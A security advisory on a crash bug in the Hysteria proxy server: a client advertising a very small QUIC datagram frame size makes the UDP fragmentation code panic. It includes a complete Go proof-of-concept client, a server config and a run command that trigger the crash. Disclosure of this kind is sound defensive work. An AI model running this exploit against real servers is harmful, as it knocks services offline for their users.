Hysteria vulnerable to server crash when max_datagram_frame_size very small

Summary

### Summary

An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.

### Details

The vulnerable path is the normal server-side UDP response path:

```text udpSessionEntry.receiveLoop -> sendMessageAutoFrag -> frag.FragUDPMessage ```

In `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:

```go fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize)) ```

However, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:

```go maxPayloadSize := maxSize - m.HeaderSize() ```

If an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:

```go frag.Data = fullPayload[off : off+payloadSize] ```

### PoC

poc.yaml

```yaml listen: 127.0.0.1:8443

tls: cert: poc_server.crt key: poc_server.key

auth: type: password password: udp-frag-panic-poc

masquerade: type: string string: content: nope statusCode: 404 ```

poc.go

```go //go:build poc

package main

import ( "bytes" "context" "crypto/tls" "encoding/binary" "flag" "fmt" "io" "net" "net/http" "net/url" "time"

"github.com/apernet/quic-go" "github.com/apernet/quic-go/http3" "github.com/apernet/quic-go/quicvarint" )

const ( authHost = "hysteria" authPath = "/auth" authOK = 233 )

func main() { server := flag.String("server", "127.0.0.1:8443", "Hysteria server address") auth := flag.String("auth", "", "Hysteria auth/password") target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server") maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client") insecure := flag.Bool("insecure", true, "skip TLS verification") echo := flag.Bool("echo", true, "start a local UDP echo server on --target") flag.Parse()

if *auth == "" { panic("--auth is required") } if *echo { closeEcho := startUDPEcho(*target) defer closeEcho() }

conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram) defer cleanup()

msg := hysteriaUDPMessage(1, *target, []byte("X")) fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n", *target, udpHeaderSize(*target), len(msg), *maxDatagram)

if err := conn.SendDatagram(msg); err != nil { panic(fmt.Errorf("send trigger datagram: %w", err)) } fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")

ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() if _, err := conn.ReceiveDatagram(ctx); err != nil { fmt.Printf("[*] receive after trigger: %v\n", err) } else { fmt.Println("[!] received a response; try a smaller --max-datagram") } }

func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { panic(err) } udpConn, err := net.ListenUDP("udp", nil) if err != nil { panic(err) }

transport := &quic.Transport{Conn: udpConn} var qconn *quic.Conn rt := &http3.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure}, QUICConfig: &quic.Config{ EnableDatagrams: true, MaxDatagramFrameSize: maxDatagram, DisablePathManager: true, }, Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) { qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg) return qconn, err }, }

req := &http.Request{ Method: http.MethodPost, Host: authHost, URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath}, Header: http.Header{}, Body: io.NopCloser(bytes.NewReader(nil)), } req.Header.Set("Hysteria-Auth", auth) req.Header.Set("Hysteria-CC-RX", "0")

ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() resp, err := rt.RoundTrip(req.WithContext(ctx)) if err != nil { panic(err) } defer resp.Body.Close() if resp.StatusCode != authOK { panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode)) } if resp.Header.Get("Hysteria-UDP") == "false" { panic("server reports UDP disabled") }

cleanup := func() { _ = rt.Close() _ = transport.Close() _ = udpConn.Close() if qconn != nil { _ = qconn.CloseWithError(0, "") } } return qconn, cleanup }

func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte { buf := make([]byte, udpHeaderSize(addr)+len(data)) binary.BigEndian.PutUint32(buf[0:4], sessionID) // PacketID=0, FragID=0, FragCount=1. buf[7] = 1 i := len(quicvarint.Append(buf[:8], uint64(len(addr)))) i += copy(buf[i:], addr) copy(buf[i:], data) return buf }

func udpHeaderSize(addr string) int { return 8 + quicvarint.Len(uint64(len(addr))) + len(addr) }

func startUDPEcho(addr string) func() { pc, err := net.ListenPacket("udp", addr) if err != nil { panic(fmt.Errorf("start UDP echo on %s: %w", addr, err)) } fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())

go func() { buf := make([]byte, 2048) for { n, raddr, err := pc.ReadFrom(buf) if err != nil { return } _, _ = pc.WriteTo(buf[:n], raddr) } }() return func() { _ = pc.Close() } } ```

poc.sh ```bash go run -tags poc ./poc_udp_frag_panic.go \ --server 127.0.0.1:8443 \ --auth udp-frag-panic-poc \ --insecure \ --target 127.0.0.1:19090 \ --max-datagram 20 ```

### Impact Server crash